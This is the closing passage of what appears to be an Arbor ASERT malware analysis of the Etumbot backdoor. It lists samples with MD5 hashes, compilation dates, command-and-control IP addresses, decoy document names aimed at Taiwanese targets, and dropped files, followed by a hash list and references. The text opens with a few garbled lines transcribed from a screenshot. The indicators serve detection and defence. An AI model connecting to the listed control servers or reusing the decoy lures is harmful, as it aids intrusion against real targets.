29 bi-ebooog Yelseboooge, bog i-(*coocce282:000Yelsebooog a				
30 bi+bbbbbbbbb/siG*7>23iG*bbbbbbh bbbbbbh bbbbbbh				
31 hishhebhebheböheÖhebÖhebÖ				
32 (:lå2åi9i6(:):)/				
H ← → H 2484150-5-~tasyd3 / 😏 /		14	11	▶ [

~tasyd3.xls: Filename "price list" (Traditional Chinese). Document format is unreadable.

a6b4b679a51627ce279d5107c20dd078

Compilation Date: 2014-04-29 03:44:19 C&C: 59.0.249.11 (KR) Filename: spoolv.exe Dropped Files: N/A (this sample is a dropped backdoor)

d444be30d2773b23de38ead1f2c6d117

Compilation Date: 2014-05-14 13:34:46

C&C: 198.209.212.82 (US)

Filename: 1030522 新機關籌備小組清單 rcs.DOC

Archive: 1030522 新機關籌備小組清單.7z (75193fc10145931ec0788d7c88fc8832)

Dropped Files: ~trfai3.doc (196ae8d6a5d19737ae6975d047ab1d59), ka4a8213.log, kb71271.log, sysupdate.exe (86ef188537f5e4637df24336c9b21cb0)



~trfai3.doc: List of Convener, Deputy Convener, and Executive Secretary names for various government departments (Traditional Chinese)

b3830791b0a397bea2ad943d151f856b

Compilation Date: 2014-05-14 08:16:41

C&C: 198.209.212.82 (US)

Filename: 招標規範 Finarcs.doc

Archive: 招標規範.rar (8629b95f9e0898793e0881a8f79ee0cf)

Dropped Files: ~taste3.doc (aeaf1e78c2082644b122bf32803acb1f), ka4a8213.log, kb71271.log, spoolvs.exe (5eba8ced8656da865f91d5fc87e8dc74)



~taste3.doc: Sun Yat-Sen University (Taiwan) purchase list, items include Cisco3045E/K9 or equivalent (Traditional Chinese)

List of Identified Etumbot MD5s

ca838b98ca0f516858a8a523dcd1338d 986937eb4052562cdd3960dd8fffc481 5ef508d0ca7759ecf602192521fff287 d08c54ed480c9cd8b35eab2f278e7a28 82d4850a02375a7447d2d0381b642a72 4c703a8cfeded7f889872a86fb7c70cf 063b6076c69ce3ba4f116d1ad51da2b5 232b659e28c5e06ad5466c01aec35cb6 1e8fba674761371cb9e88962dcb851c0 7a698acebcf19b55170f05388a2f7fe0 ff5a7a610746ab5492cc6ab284138852 cd33c5467d425f662f57672531701d89 1ce47f76fca26b94b0b1d74610a734a4 ac22aa007081caeb8970aefba7eddfcf 1498c9761fc819d496171c71604c2128 2b3a8734a57604e98e6c996f94776086 9b42968e9a7646feb7db318713271718 04908c6853cb5c9d7dccaf15fb5fd3bb d444be30d2773b23de38ead1f2c6d117 86ef188537f5e4637df24336c9b21cb0 e7d960060d602deb53c7d49d2002c4a4 5340fcfb3d2fa263c280e9659d13ba93 a6b4b679a51627ce279d5107c20dd078 88653dde22f723934ea9806e76a1f546 b3830791b0a397bea2ad943d151f856b beb16ac99642f5c9382686fd8ee73e00

References

[1] http://www.crowdstrike.com/blog/whois-numbered-panda/

[2] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf

[3] http://www.symantec.com/security_response/writeup.jsp?docid=2013-080921-5219-99&tabid=2

[4] https://blog.commtouch.com/cafe/malware/exe-read-backwards-spells-malware/

[5] http://threatpost.com/sirefef-malware-found-using-unicode-right-to-left-override-technique/102033

[6] <u>http://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/</u>

[7] <u>http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html</u>

[8] https://github.com/arbor/reversing/blob/master/find_byte_strings.py

[9] http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/

[10] <u>https://www.symantec.com/security_response/writeup.jsp?docid=2014-011500-2419-99&tabid=2</u>

[11] http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm

About ASERT

The Arbor Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of today's enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as "super remediators," and represent the best in information security. This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally.

ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. ASERT also operates the world's largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS®, Arbor's global network of sensors: <u>http://atlas.arbor.net</u>. This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research.

To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at <u>http://www.arbornetworks.com/threats/</u>.